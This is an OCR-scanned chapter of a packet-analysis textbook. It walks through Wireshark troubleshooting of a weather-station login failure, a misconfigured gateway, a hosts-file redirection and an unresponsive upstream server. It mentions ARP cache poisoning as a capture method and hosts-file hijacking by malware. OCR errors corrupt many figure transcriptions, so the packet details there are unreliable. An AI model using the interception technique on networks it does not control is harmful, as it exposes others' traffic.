provide any detailed error logging. Since the receiver is the hub of com- 
munication for the weather station infrastructure, it makes sense to capture 
packets transmitted to and from that device to try to diagnose the issue. 
This is a home network, so port mirroring is probably not an option on the 
SOHO switch. Our best bet is to use a cheap tap or to perform ARP cache 
poisoning to intercept these packets. The captured packets are contained 
in the file weather_broken.pcapng. 


Analysis 


Upon opening the capture file, you’ll see that we’re dealing with HTTP 
communication once again. The packet capture is limited to a single 
conversation between Pete’s local weather receiver 172.16.16.154 and an 
unknown remote device on the internet, 38.102.136.125 (Figure 10-8). 





No. 





Time Source 


1 0.000000 172.16.16.154 38.102.136.125 TOP 78 53904 > 80 [SYN] Seq=@ Win=65535 Len=@ MSS=1460 WS=32 TSval=1015238041 TSecr=@ SACK_PERM=1 

2 0.087018 38.102.136.125 172.16.16.154 TCP 60 80 > 53904 [SYN, ACK] Seq=@ Ack=1 Win=8190 Len=@ MSS=1360 

3 0.087108 172.16.16.154 38.102.136.125 TCP 54 53904 + 80 [ACK] Seq=1 Ack=1 Win=65535 Len=0 

4 0.087178 172.16.16.154 38.102.136.125 HTTP 571 GET /weatherstation/updateweatherstation. php?ID=KGAOAKWO2&PASSWORD=000000008tempf=43 . humidity=30.. 
5 @.176462 338.102.136.125 172.16.16.154 HTTP 237 HTTP/1.@ 200 OK (text/html) 

6 0.176567 172.16.16.154 38.102.136.125 TCP 54 53904 + 8@ [ACK] Seq=518 Ack=184 Win=65535 Len=0 

7 0.176714 172.16.16.154 38.102.136.125 TCP 54 53904 > 80 [FIN, ACK] Seq=518 Ack=184 Win=65535 Len=0 

8 0.262587 38.102.136.125 172.16.16.154 TCP 60 80 + 53904 [FIN, ACK] Seq=184 Ack=519 Win=7673 Len=0 

9 @.262656 172.16.16.154 38.102.136.125 TCP 54 53904 + 80 [ACK] Seq=519 Ack=185 Win=65535 Len=0 


Destination Protocol Length Info 








Figure 10-8: Isolated weather station receiver communication 
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Before we examine the characteristics of the conversation, let’s see if 
we can identify the unknown IP. Without extensive research, we might not 
be able to find out whether this is the exact IP address that Pete’s weather 
receiver should be talking to, but we can at least verify that it is part of the 
Wunderground infrastructure by doing a WHOIS query. You can conduct a 
WHOIS query through most domain registration or regional internet reg- 
istry websites, such as hitp://whois.arin.net/. In this case, it looks like the IP 
belongs to Cogent, an internet service provider (ISP) (Figure 10-9). PSINet Inc. 
is also mentioned here, but a quick search reveals that most PSINet assets 
were acquired by Cogent in the early 2000s. 


Net Range 38.0.0.0 - 38.255.255.255 
CIDR 38.0.0.0/8 

Name COGENT-A 

Handle NET-38-0-0-0-1 

Parent 

Net Type Direct Allocation 

Origin AS AS174 

Organization PSINet, Inc. (PSI) 
Registration Date 1991-04-16 

Last Updated 2011-05-20 

Comments Reassignment information for this block can be found at 


twhois.cogentco.com 4321 


RESTful Link https J/whoi restnevNET-38-0-0-0-1 





Point of Contact 
PSI-NISC-ARIN 





See Also 


See Also 











Figure 10-9: WHOIS data identifies the owner of this IP. 


In some cases, if an IP address is registered directly to an organization, 
the WHOIS query will return that organization’s name. However, many times 
a company will simply utilize IP address space from an ISP without register- 
ing it directly to itself. In these cases, another useful tactic is to search for 
the autonomous system number (ASN) that is associated with an IP address. 
Organizations are required to register for an ASN to support certain types 
of routing on the public internet. There are a number of ways to look up 
IP-to-ASN associations (some WHOIS lookups provide it automatically), but 
I like using Team Cymru’s automated lookup tool (hitps://asn.cymru.com/). 
Using that tool for 38.102.136.125, we see that it is associated with AS 36347, 
which is associated with “Wunderground — The Weather Channel, LLC, US” 
(Figure 10-10). That tells us that the device the weather station is commu- 
nicating with is at least in the right neighborhood. If we were unable to 
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identify the correct affiliation for this address, it might be worth exploring 
whether Pete’s receiver was talking to the wrong device, but the address 
checks out. 





Executing commands. Please be patient! 


v4.whois.cymru.com 


The server returned 4 line(s). 


[Querying v4.whois.cymru.com] 

[v4.whois.cymru.com] 

AS | IP | AS Name 

36347 | 38.102.136.125 | WUNDERGROUND - THE WEATHER CHANNEL, LLC,US 





Figure 10-10: IP-to-ASN lookup for the external IP address 


With the unknown host characterized, we can dig into details of the 
communication. The conversation is relatively short. There is a TCP hand- 
shake, a single HTTP GET request and response, and a TCP teardown. The 
handshake and teardown appear to be successful, so whatever issue we are 
experiencing is probably contained with the HTTP request itself. To exam- 
ine this closely, we’ll follow the TCP stream (Figure 10-11). 








M Wireshark - Follow TCP Stream (tcp.stream eq 0) - weather_broken = m| x 





GET /weatherstation/updateweatherstation. php? 

ID=KGAOAKWO2&PASSWORD=000000008t empf=43 . @&humidity=3@&dewpt f=13 . G&windchillf=43 . @&winddir=194&windspeedmph 
=@.22&windgustmph=2.46&rainin=@. @@&dailyrainin=@.9@&weeklyrainin=0. @@&monthlyrainin=@. @@&yearlyrainin=0.00 
&solarradiation=54. 14&8UV=@&indoortempf=67. 1&indoorhumidity=26&baromin=29 . 32&lowbatt=@&dateutc=2016-1-6%202 
1:58: 34&softwaretype-Weather%2@logger%20V1. @&action=updateraw&realtime=18rtfreq=5 HTTP/1.1@ 

Host: 38.102.136.125 

User-Agent: curl/7.43.@ 

Accept: */* 


HTTP/1.@ 200 oK @ 

Content-type: text/html 

Date: Thu, @7 Jan 2016 00:28:39 GMT 
Content-Length: 58 

Connection: keep-alive 





INVALIDPASSWORDID|Password or key and/or id are incorrect @ 





1 client pkefs), 1 server pke(s). 1 turn. 























Entire conversation (700 bytes) a Show data as ASCII x Stream |0 |$ 
Find: Find Next 
Hide this stream Print Save as... Close Help 











Figure 10-11: Following the TCP stream of the weather receiver communication 


The HTTP communication begins with a GET request from Pete’s weather 
receiver to Wunderground. No HTTP content was transmitted, but a sig- 
nificant amount of data was transmitted in the URL @. Transferring data 
through the URL query string is common for web applications, and it looks 
like the receiver is passing weather updates using this mechanism. For 
instance, you see fields like tempf=43.0, dewptf=13.6, and windchillf=43.0. The 
Wunderground collection server is parsing the list of fields and parameters 
from the URL and storing them in a database. 

At first glance, everything looks fine with the GET request to the 
Wunderground server. But a look at the corresponding reply shows an 
error was reported. The server responded with an HTTP/1.0 200 OK response 


code @, indicating that the GET request was received and successful, but the 
body of the response contains a useful message, INVALIDPASSWORDID| Password 
or key and/or id are incorrect ®. 

If you look back up at the request URL, you'll see the first two param- 
eters passed are ID and PASSWORD. These are used to identify the weather sta- 
tion call sign and authenticate it to the Wunderground server. 

In this case, Pete’s weather station ID is correct, but his password is not. 
For some unknown reason, it has been replaced by zeros. Since the last 
known successful communication was at midnight, it’s possible an update 
was applied or the receiver rebooted and lost the password configuration. 


While many developers choose to pass parameters in URLs, it’s generally frowned 
upon to do this with passwords as seen here. That’s because requested URLs are 
transmitted in plaintext when using HTTP without added encryption, such as 
HTTPS. Therefore, a malicious user who happens to be listening on the wire could 
intercept your password. 


At this point, Pete was able to access his receiver and type in the new 
password. Shortly thereafter, his weather station began syncing data again. 
An example of successful weather station communication can be found in 
weather_working.pcapng. The communication stream is shown in Figure 10-12. 














4a Wireshark - Follow TCP Stream (tcp.stream eq 0) - weather_working = x 








GET /weatherstation/updateweatherstation.php? A 
ID=KGAOAKWO2&PASSWORD=12345678&tempf=43 . @&humidity=30&dewptf=13 . 6&windchillf=43 . @&winddir=194&windspeedmph 
=. 22&windgustmph=2.46&ra@}in=0. 0@&dailyrainin=0. @@&weeklyrainin=0.@@&monthlyrainin=0.@0&yearlyrainin=0.00 
&solarradiation=54. 14&8UV=@&indoortempf=67 . 1&indoorhumidity=26&baromin=29 . 32&lowbatt=@&dateutc=2016-1-6%262 
1:58: 34&softwaretype=weather%2@logger%20V1.@&action=updateraw&realtime=1&rtfreq=5 HTTP/1.0.8 

Accept: */* 

Host: 38.102.136.125 

Connection: Close 


HTTP/1.@ 200 OK 

Content-type: text/html 

Date: Wed, @6 Jan 2016 21:58:35 GMT 
Content-Length: 8 


success o v 











1 dient pke{s), 1 server pktfs), 1 turn. 

















Entire conversation (621 bytes) = Show data as ASCII = Stream |0 (>| 
Find: Find Next 
Hide this stream Print Save as. Close Help 











Figure 10-12: Successful weather station communication 


The password is now correct ®, and the Wunderground server responds 
with a success message in the HTTP response body @. 


Lessons Learned 


In this scenario, we encountered a third-party service that facilitated net- 
work communication by using features available within another protocol 
(HTTP). Fixing communication problems with third-party services is 
something you'll encounter often, and packet analysis techniques are very 
well suited for troubleshooting these services when proper documentation 
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or error logging isn’t available. This is becoming more common now that 
Internet of Things (IoT) devices, such as this weather station, are popping 
up all around us. 

Fixing such problems requires the ability to inspect unknown traf- 
fic sequences and derive how things are supposed to be working. Some 
applications, such as the HT TP-based weather data transmission in this 
scenario, are fairly simple. Others are quite complex, requiring multiple 
transactions, the addition of encryption, or even custom protocols that 
Wireshark may not natively parse. 

As you investigate more third-party services, you’ll eventually start 
learning about common patterns developers use to facilitate network com- 
munication. This knowledge will increase your effectiveness when trouble- 
shooting them. 


No Internet Access 


nowebaccess 1 


-pcapng 
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In many scenarios, you may need to diagnose and solve internet connectiv- 
ity problems. We’ll cover some common problems you might encounter. 


Gateway Configuration Problems 


Our next scenario presents a common problem: a user cannot access the 
internet. We have verified that the user can access all the internal resources 
of the network, including shares on other workstations and applications 
hosted on local servers. 

The network architecture is straightforward, as all clients and servers 
connect to a series of simple switches. Internet access is handled through a 
single router serving as the default gateway, and IP-addressing information 
is provided by DHCP. This is a very common scenario in small offices. 


Tapping into the Wire 


To determine the cause of the issue, we can have the user attempt to browse 
the internet while our sniffer is listening on the wire. We use the informa- 
tion from Chapter 2 (see Figure 2-15) to determine the most appropriate 
method for placing our sniffer. 

The switches on our network don’t support port mirroring. We already 
have to interrupt the user to conduct our test, so we can assume that it is okay 
to take them offline once again. Even though this isn’t a high-throughput 
scenario, a TAP would be appropriate here if one were available. The result- 
ing file is nowebaccessl.pcapneg. 


Analysis 


The traffic capture begins with an ARP request and reply, as shown 

in Figure 10-13. In packet 1, the user’s computer, with a MAC address of 
00:25:b3:bf:91:ee and IP address 172.16.0.8, sends an ARP broadcast packet 
to all computers on the network segment in an attempt to find the MAC 
address associated with the IP address of its default gateway, 172.16.0.10. 





No. Time Source Destination Protocol Length Info 
1 04:32:21.445645 @0:25:b3:bf:91:ee ff: ff: ff: fF: ff: FF ARP 42Who has 172.16.0.10? Tell 172.16.0.8 
2 04:32:21.445735 @6:24:81:a1:f6:79 @0:25:b3:bf:91:ee ARP 60172.16.0.10 is at 00:24:81:a1:f6:79 





Figure 10-13: ARP request and reply for the computer’s default gateway 


A response is received in packet 2, and the user’s computer learns that 
172.16.0.10 is at 00:24:81:a1:£6:79. Once this reply is received, the computer 
has a route to a gateway that should be able to direct it to the internet. 

Following the ARP reply, the computer must attempt to resolve the DNS 
name of the website to an IP address using DNS in packet 3. As shown in 
Figure 10-14, the computer does this by sending a DNS query packet to its 
primary DNS server, 4.2.2.2 ®. 





@ Wireshark - Packet 3 - nowebaccess1 da o x 


Frame 3: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_al:f6:79 (@0:24:81:a1:f6:79) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2.2@ 
User Datagram Protocol, Src Port: 55870 (55870), Dst Port: 53 (53) 
V Domain Name System (query) 

Transaction ID: @x8@d1 

Flags: @x@10@ Standard query 

Questions: 1 

Answer RRs: @ 

Authority RRs: @ 

Additional RRs: @ 
v Queries 

www.google.com: type A, class IN 











No.: 3 * Time: 0.000105 + Source: 172.16.0.8 * Destination: 4.2.2.2 * Protocol: DNS * Length: 74 - Info: Standard query Ox80d1 A www.google.com 








Figure 10-14: A DNS query sent to 4.2.2.2 


Under normal circumstances, a DNS server would respond to a DNS 
query very quickly, but that’s not the case here. Rather than a response, we 
see the same DNS query sent a second time to a different destination address. 
As shown in Figure 10-15, in packet 4, the second DNS query is sent to the 
secondary DNS server configured on the computer, which is 4.2.2.1 0. 





M Wireshark . Packet 4 - nowebaccess1 - o x 





Frame 4: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
Ethernet II, Src: HewlettP_bf:91l:ee (@0:25:b3:bf:91:ee), Dst: HewlettP_al:f6:79 (@@:24:81:a1:f6:79) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2.1@ 
User Datagram Protocol, Src Port: 5587@ (5587@), Dst Port: 53 (53) 
V Domain Name System (query) 

Transaction ID: @x8@d1 

Flags: @x@1@@ Standard query 

Questions: 1 

Answer RRs: @ 

Authority RRs: @ 

Additional RRs: @ 
v Queries 

www.google.com: type A, class IN 











No.: 4 « Time: 0.999280 « Source: 172.16.0.8 « Destination: 4.2.2.1 * Protocol: DNS « Length: 74 Info: Standard query Ox60di A www.google.com 








Figure 10-15: A second DNS query sent to 4.2.2.1 
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Again, no reply is received from the DNS server, and the query is sent 
again l second later to 4.2.2.2. This process repeats itself, alternating 
between the primary ® and secondary @ configured DNS servers over the 
next several seconds, as shown in Figure 10-16. The entire process takes 
around 8 seconds 9, or until the user’s internet browser reports that a web- 
site is inaccessible. 





No. 





Time 
1 0.000000 
2 0.000090 
3 0.000105 
4 0.999280 
5 1.999279 
6 3.999372 
7 3.999393 
8 7.999627 
© 9 7.999648 


Source Destination Protocol Length Info 

HewlettP_bf:91:ee Broadcast ARP 42 Who has 172.16.@.10? Tell 172.16.0.8 
HewlettP_al:f6:79 HewlettP_bf:91:ee ARP 60 172.16.0.10 is at 00:24:81:a1:f6:79 
172.16.0.8 4.2.2.20 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.1 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.2 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.10 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.2 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.1 DNS 74 Standard query @x8@d1 A www.google.com 
172.16.0.8 4.2.2.2 DNS 74 Standard query @x8@d1 A www.google.com 





Figure 10-16: DNS queries are repeated until communication stops. 
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Based on the packets we’ve seen, we can begin to pinpoint the source of 
the problem. First, we see a successful ARP request to what we believe is the 
default gateway router for the network, so we know that device is online and 
communicating. We also know that the user’s computer is actually transmit- 
ting packets on the network, so we can assume there isn’t an issue with the 
protocol stack on the computer itself. The problem clearly begins to occur 
when the DNS request is made. 

In the case of this network, DNS queries are resolved by an external 
server on the internet (4.2.2.2 or 4.2.2.1). This means that for resolution to 
take place correctly, the router responsible for routing packets to the inter- 
net must successfully forward the DNS queries to the server, and the server 
must respond. This all must happen before HTTP can be used to request 
the web page itself. 

Because no other users are having issues connecting to the internet, the 
network router and remote DNS server are probably not the source of the 
problem. The only thing remaining to investigate is the user’s computer itself. 

Upon deeper examination of the affected computer, we find that 
rather than receiving a DHCP-assigned address, the computer has manu- 
ally assigned addressing information, and the default gateway address is set 
incorrectly. The address set as the default gateway is not a router and can- 
not forward the DNS query packets outside the network. 


Lessons Learned 


The problem in this scenario resulted from a misconfigured client. While 
the problem itself turned out to be simple, it significantly impacted the 
user. Troubleshooting a simple misconfiguration like this one could take 
quite some time for someone lacking knowledge of the network or the abil- 
ity to perform a quick packet analysis, as we’ve done here. As you can see, 
packet analysis is not limited to large and complex problems. 

Notice that because we didn’t enter the scenario knowing the IP 
address of the network’s gateway router, Wireshark didn’t identify the 


nowebaccess2 
.pcapng 


problem exactly, but it did tell us where to look, saving valuable time. 
Rather than examining the gateway router, contacting our ISP, or try- 
ing to find the resources to troubleshoot the remote DNS server, we were 
able to focus our troubleshooting efforts on the computer itself, which was, 
in fact, the source of the problem. 


Had we been more familiar with this particular network’s IP-addressing scheme, 
analysis could have been even faster. The problem could have been identified imme- 
diately once we noticed that the ARP request was sent to an IP address different from 
that of the gateway router. These simple misconfigurations are often the source of net- 
work problems and can typically be resolved quickly with a bit of packet analysis. 


Unwanted Redirection 


In this scenario, we again have a user who is having trouble accessing the 
internet from their workstation. However, unlike the user in the previous 
scenario, this user can access the internet. Their problem is that they can’t 
access their home page, https://www.google.com/. When the user attempts to 
reach any domain hosted by Google, they are directed to a browser page 
that says, “Internet Explorer cannot display the web page.” This issue is 
affecting only this particular user. 

As with the previous scenario, this is a small network with a few simple 
switches and a single router serving as the default gateway. 


Tapping into the Wire 


To begin our analysis, we have the user attempt to browse to https://www 
.google.com/ while we use a tap to listen to the traffic that is generated. The 
resulting file is nowebaccess2.pcapng. 


Analysis 


The capture begins with an ARP request and reply, as shown in Figure 10-17. 
In packet 1, the user’s computer, with a MAC address of 00:25:b3:bf:91:ee 
and an IP address of 172.16.0.8, sends an ARP broadcast packet to all com- 
puters on the network segment in an attempt to find the MAC address associ- 
ated with the host’s IP address 172.16.0.102. We don’t immediately recognize 
this address. 





No. 


4 Time 
1 0.000000 


2 @.000334 


Source Destination Protocol Length Info 
00:25:b3:bf:91:ee ff:ff:ff:ff:ff:ff ARP 42 Who has 172.16.0.102? Tell 172.16.0.8 
00:21:70:c0:56:fð0 00:25:b3:bf:91:ee ARP 6@ 172.16.0.102 is at @0:21:70:c0:56:f0 





Figure 10-17: ARP request and reply for another device on the network 


In packet 2, the user’s computer learns that the IP address 172.16.0.102 
is at 00:21:70:c0:56:£0. Based on the previous scenario, we might assume 
that this is the gateway router’s address and that address is used so that 
packets can once again be forwarded to the external DNS server. However, 
as shown in Figure 10-18, the next packet is not a DNS request but a TCP 
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packet from 172.16.0.8 to 172.16.0.102. It has the SYN flag set ©, indicating 
that this is the first packet in the handshake for a new TCP-based connec- 
tion between the two hosts. 





M Wireshark - Packet 3 - nowebaccess2 = o x 





> Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
> Ethernet II, Src: HewlettP_bf:91:ee (00:25:b3:bf:91:ee), Dst: Dell_cO:56:f@ (00:21:70:c0:56:f@) 
> Internet Protocol Version 4, Src: 172.16.0.8, Dst: 172.16.0.102@ 
v 
Source Port: 1074 
Destination Port: 80 @ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: @ (relative sequence number) 
Acknowledgment number: @ 
Header Length: 32 bytes 
> syn) © 
Window size value: 8192 
[Calculated window size: 8192] 
> Checksum: @x58b5 [validation disabled] 
Urgent pointer: @ 
> Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (... 








No.: 3 * Time: 0.000349 > Source: 172.16.0.8 » Destination: 172.16.0.102 - Pro_gth: 66 > Info: 1074 ~ 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PE 


[cose] | Hep | 











Figure 10-18: TCP SYN packet sent from one internal host to another 


Notably, the TCP connection attempt is made to port 80 @ on 
172.16.0.102 @, which is typically associated with HTTP traffic. 

As shown in Figure 10-19, this connection attempt is abruptly halted 
when host 172.16.0.102 sends a TCP packet in response (packet 4) with the 
RST and ACK flags set ®. 





M Wireshark . Packet 4 - nowebaccess2 = o x 





> Frame 4: 60 bytes on wire (480 bits), 6@ bytes captured (480 bits) 
> Ethernet II, Src: Dell_c@:56:f@ (00:21:70:c@:56:f0), Dst: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee) 
> Internet Protocol Version 4, Src: 172.16.0.102, Dst: 172.16.0.8 
vV Transmission Control Protocol, Src Port: 80 (80), Dst Port: 1074 (1074), Seq: 1, Ack: 1, Len: @ 
Source Port: 8@ 
Destination Port: 1074 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: 1 (relative sequence number) 
Acknowledgment number: 1 (relative ack number) 
Header Length: 2@ bytes 
> Flags: @x@14 (RST, ACK) @ 
Window size value: @ 
[Calculated window size: @] 
[Window size scaling factor: -1 (unknown)] 
> Checksum: @xc9aa [validation disabled] 
Urgent pointer: @ 
> [SEQ/ACK analysis] 








No.: 4 « Time: 0.000510 « Source: 172.16.0.102 « Destination: 172.16.0.8 « Protocol: TCP - Length: 60 « Info: 80 — 1074 [RST, ACK] Seq=1 Ack=1 Win=0 Len=0 








[cose] | Hep 





Figure 10-19: TCP RST packet sent in response to the TCP SYN 


Recall from Chapter 8 that a packet with the RST flag set is used to ter- 
minate a TCP connection. Here, the host at 172.16.0.8 attempted to estab- 
lish a TCP connection to the host at 172.16.0.102 on port 80. Unfortunately, 
because that host has no services configured to listen to requests on port 80, 
the TCP RST packet is sent to terminate the connection. This process repeats 
three times before communication finally ends, as shown in Figure 10-20. At 
this point, the user receives a message in their browser saying that the page 
can’t be displayed. 





No. Time Source Destination Protocol Length Info 
1 0.000000 HewlettP_bf:91:ee Broadcast ARP 42 Who has 172.16.@.102? Tell 172.16.0.8 
2 0.000334 Dell _c0:56:f@ HewlettP_bf:91l:ee ARP 60 172.16.0.102 is at 00:21:70:c0:56:f@ 
3 0.000349 172.16.0.8 172.16.0.102 TCP 66 1074 > 8@ [SYN] Seq=@ Win=8192 Len=@ MSS=1460 WS=4 SACK_PERM=1 
4 0.000510 172.16.0.162 -16.0. 60 80 + 1074 [RST, ACK] Seq=1 Ack=1 Win=@ Len=0 


6 6.499362 


0.8 172.16.0.10 66 [TCP Spurious R 
16.@.162 -16.0. 60 80 + 1074 [RST, ACK 


7 0.999190 72 CP Spurious Retr 


74 + 80 [SYN 





o. 172.16.0.8 172.16.0.10 CP 62 ansmission] 1€ 
8 6.999507 172.16.@.102 -16.0. 60 80 > 1074 [RST, ACK] Seq=1 Ack=1 Win=@ Len=@ 


Figure 10-20: The TCP SYN and RST packets are seen three times in total. 


After examining the configuration of another network device that 
is working correctly, we are concerned by the ARP request and reply in 
packets 1 and 2, because the ARP request isn’t for the gateway router’s 
actual MAC address but for some unknown device. Following the ARP 
request and reply, we would expect to see a DNS query sent to our con- 
figured DNS server in order to find the IP address associated with https:// 
www.google.com/, but we don’t. There are two conditions that could prevent 
a DNS query from being made: 


e The device initiating the connection already has the DNS name-to- 
IP address mapping in its DNS cache (as in the first scenario in this 
chapter). 


e The device connecting to the DNS name already has the DNS name-to- 
IP address mapping specified in its hosts file. 


Upon further examination of the client computer, we find that the com- 
puter’s hosts file has an entry for hitps://www.google.com/ associated with the 
internal IP address 172.16.0.102. This erroneous entry is the source of our 
user’s problems. 

A computer will typically use its hosts file as the authoritative source for 
DNS name-to-IP address mappings, and it will check that file before query- 
ing an outside source. In this scenario, the user’s computer checked its hosts 
file, found the entry for https://www.google.com/, and decided that hitps:// 
www.google.com/ was actually on its own local network segment. Next, it sent 
an ARP request to the host, received a response, and attempted to initiate 
a TCP connection to 172.16.0.102 on port 80. However, because the remote 
system was not configured as a web server, it wouldn’t accept the connection 
attempts. 

Once the hosts file entry was removed, the user’s computer began com- 
municating correctly and was able to access https://www.google.com/. 
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To examine your hosts file on a Windows system, open C:\Windows\System32\ 
drivers\etc\hosts. On Linux, view /etc/hosts. 


This very common scenario is one that malware has been using for 
years to redirect users to websites hosting malicious code. Imagine if an 
attacker were to modify your hosts file so that every time you went to do your 
online banking, you were redirected to a fake site designed to steal your 
account credentials! 


Lessons Learned 


As you continue to analyze traffic, you will learn both how the various pro- 
tocols work and how to break them. In this scenario, the DNS query wasn’t 
sent because the client was misconfigured, not because of any external limi- 
tations or misconfigurations. 

By examining this problem at the packet level, we were able to quickly 
spot an IP address that was unknown and to determine that the DNS, 
a key component of this communication process, was missing. Using 
this information, we were able to identify the client as the source of the 
problem. 


Upstream Problems 


As with the previous two scenarios, in this scenario, a user complains of no 
internet access from their workstation. This user has narrowed the issue 
down to a single website, hitps://www.google.com/. Upon further investiga- 
tion, we find that this issue is affecting everyone in the organization—no 
one can access Google domains. 

The network is configured as in the two prior scenarios, with a few 
simple switches and a single router connecting the network to the internet. 


Tapping into the Wire 


To troubleshoot this issue, we first browse to hitps://www.google.com/ to gen- 
erate traffic. Because this issue is network-wide, ideally any device in the 
network should be able to reproduce the issue using most capture methods. 
The file resulting from the capture via a tap is nowebaccess3.pcapneg. 


Analysis 


This packet capture begins with DNS traffic instead of the ARP traffic we 
are used to seeing. Because the first packet in the capture is to an external 
address, and packet 2 contains a reply from that address, we can assume 
that the ARP process has already happened and the MAC-to-IP address 
mapping for our gateway router already exists in the host’s ARP cache at 
172.16.0.8. 


As shown in Figure 10-21, the first packet in the capture is from the 
host 172.16.0.8 to address 4.2.2.1 @ and is a DNS packet @. Examining 
the contents of the packet, we see that it is a query for the A record for 
www.google.com ® that will map the DNS name to an IP address. 





@ Wireshark - Packet 1 - nowebaccess3 mà o x 





> Frame 1: 74 bytes on wire (592 bits), 74 bytes captured (592 bits) 
> Ethernet II, Src: HewlettP_bf:91:ee (00:25:b3:bf:91:ee), Dst: CiscoInc_31:07:33 (@0:26:0b:31:07:33) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 4.2.2.10@ 
> User Datagram Protocol, Src Port: 64417 (64417), Dst Port: 53 (53) 
V Domain Name System (query) @ 
Response In: 2 
Transaction ID: @x6138 
Flags: @x@10@ Standard query 
Questions: 1 
Answer RRs: @ 
Authority RRs: @ 
Additional RRs: @ 
v Queries @ 
V www.google.com: type A, class IN 
Name: www.google.com 
[Name Length: 14] 
[Label Count: 3] 
Type: A (Host Address) (1) 
Class: IN (@x@001) 











No.: 1 * Time: 0.000000 * Source: 172.16.0.8 Destination: 4.2.2.1 * Protocol: DNS * Length: 74 > Info: Standard query 0x6138 A www.google.com 


[cee] [rep 








Figure 10-21: DNS query for www.google.com A record 


The response to the query from 4.2.2.1 is the second packet in the cap- 
ture file, as shown in Figure 10-22. Here, we see that the name server that 
responded to this request provided multiple answers to the query @. At this 
point, all looks good, and communication is occurring as it should. 





M Wireshark - Packet 2 - nowebaccess3 = Oo x 





Frame 2: 190 bytes on wire (1520 bits), 190 bytes captured (1520 bits) 
Ethernet II, Src: CiscoInc_31:07:33 (@0:26:0b:31:07:33), Dst: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee) 
> Internet Protocol Version 4, Src: 4.2.2.1, Dst: 172.16.0.8 
> User Datagram Protocol, Src Port: 53 (53), Dst Port: 64417 (64417) 
YV Domain Name System (response) 
Request In: 1 
[Time: 0.010440000 seconds] 
Transaction ID: @x6138 
Flags: @x818@ Standard query response, No error 
Questions: 1 
Answer RRs: 7 
Authority RRs: @ 
Additional RRs: @ 
> Queries 
v Answers @ 
www.google.com: type CNAME, class IN, cname www.1.google.com 
l.google.com: type A, class IN, addr 74.125.95.105 
«google.com: type A, class IN, addr 74.125.95.106 
-google.com: type A, class IN, addr 74.125.95.147 
«google.com: type A, class IN, addr 74.125.95.99 
«google.com: type A, class IN, addr 74.125.95.103 
«google.com: type A, class IN, addr 74.125.95.104 





HELE 





No.: 2 * Time: 0.010440 » Source: 4.2.2.1 ' Destination: 172.16.0.8 » Protocol: DNS 5.105 A 74.125.95.106 A 74.125.95.147 A 74.125.95.99 A 74.125.95.103 A 74,125.95.1 


[cose] [Hee | 











Figure 10-22: DNS reply with multiple A records 
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Now that the user’s computer has determined the web server’s IP address, 
it can attempt to communicate with the server. As shown in Figure 10-23, 
this process is initiated in packet 3, with a TCP packet sent from 172.16.0.8 to 
74.125.95.105 @. This destination address comes from the first A record pro- 
vided in the DNS query response seen in packet 2. The TCP packet has the 
SYN flag set ©, and it’s attempting to communicate with the remote server 
on port 80 @. 

















4 Wireshark - Packet 3 - nowebaccess3 





Frame 3: 66 bytes on wire (528 bits), 66 bytes captured (528 bits) 
Ethernet II, Src: HewlettP_bf:91:ee (@0:25:b3:bf:91:ee), Dst: CiscoInc_31:07:33 (@@:26:0b:31:07:33) 
Internet Protocol Version 4, Src: 172.16.0.8, Dst: 74.125.95.105 @ 
~ Transmission Control Protocol, Src Port: 1251 (1251), Dst Port: 8@ (80), Seq: @, Len: @ 
Source Port: 1251 
Destination Port: 30 @ 
[Stream index: @] 
[TCP Segment Len: @] 
Sequence number: @ (relative sequence number) 
Acknowledgment number: @ 
Header Length: 32 bytes 
Flags: 0x002 (SYN) © | 
Window size value: 8192 
[Calculated window size: 8192] 
Checksum: @x@afc [validation disabled] 
Urgent pointer: @ 
Options: (12 bytes), Maximum segment size, No-Operation (NOP), Window scale, No-Operation (NOP), No-Operation (NOP), SACK permitted 


No.: 3» Time: 0.014421 « Source: 172.16.0.8 « Destination: 74.125.95.105 « Protocol: TCP « Length: 66 « Info: 1251 — 80 [SYN] Seq=0 Win=8192 Len=0 MSS=1460 WS=4 SACK_PERM=1 











Figure 10-23: The SYN packet is attempting fo initiate a connection on port 80. 


Because this is a TCP handshake process, we know that we should see 
a TCP SYN/ACK packet sent in response, but instead, after a short time, 
another SYN packet is sent from the source to the destination. This process 
occurs once more after approximately one second, as shown in Figure 10-24, 
at which point communication stops and the browser reports that the website 
could not be found. 





No. Time Source Destination Protocol Length Info 
3 @.014421 172.16.0.8 74.125.95.105 TCP 66 1251 > 80 SACK_PERM=1 
4 0.0: 172.16.0.8 74.125.95.105 66 e smi i 2 Len=@ MSS 





5 1.01653. 172.16.0.8 74.125.95.105 


Figure 10-24: The TCP SYN packet is attempted three times with no response received. 


As we troubleshoot this scenario, consider that we know that the work- 
station within our network can connect to the outside world because the 
DNS query to our external DNS server at 4.2.2.1 is successful. The DNS 
server responds with what appears to be a valid address, and our hosts 
attempt to connect to one of those addresses. Also, the local workstation 
we are attempting to connect from appears to be functioning. 

The problem is that the remote server simply isn’t responding to our 
connection requests; a TCP RST packet is not sent. This might occur for 
several reasons: a misconfigured web server, a corrupted protocol stack on 
the web server, or a packet-filtering device on the remote network (such 
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as a firewall). Assuming there is no local packet-filtering device in place, 

all other potential solutions are on the remote network and beyond our 
control. In this case, the web server was not functioning correctly, and no 
attempt to access it succeeded. Once the problem was corrected on Google’s 
end, communication was able to proceed. 


Lessons Learned 


In this scenario, the problem wasn’t one that we could correct. Our analysis 
determined that the issue wasn’t with the hosts on our network, our router, 
or the external DNS server providing us with name resolution services. The 
